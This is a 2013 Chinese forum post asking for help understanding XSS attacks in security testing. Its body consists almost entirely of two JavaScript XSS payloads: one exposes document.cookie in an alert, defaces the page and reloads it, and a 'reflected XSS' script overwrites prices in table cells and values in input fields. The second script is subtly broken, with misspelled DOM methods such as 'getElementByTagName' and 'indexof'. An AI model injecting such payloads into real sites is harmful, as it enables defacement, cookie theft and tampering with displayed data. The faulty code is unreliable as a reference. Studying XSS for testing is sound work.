标题: 关于安全性测试 XXS攻击 不懂 求高手解答 [打印本页] 作者: candy84528 时间: 2013-11-7 13:52 标题: 关于安全性测试 XXS攻击 不懂 求高手解答 <script>
setTimeout('alert("You have been owned! I will hijack your Cookie:" + document.cookie);',1000);
setTimeout("document.body.innerHTML='<font size=7> THis page have been hacked!</font>';",3000);
setTimeout("window.location.reload()",5000);
</script>
Reflected Xss Attacks
<script>
alert('THis kinda is called Reflected XSS or first-order XSS!!');
for(i=0;i<=document.getElementsByTagName("td").length-1;i++)
{
if(document.getElementsByTagName("td")[i].innerHTML.indexof('$')>0.0)
{document.getElementByTagName("td")[i].innerHTML='$0.0';}
};
for(i=0;i<=document.getElementByTagName("input").length-1;i++)
{
if(document.getElementByTagName("input")[i].type=='TEXT')
{document.getElementByTagName("input")[i].value='100000';}
}
</script>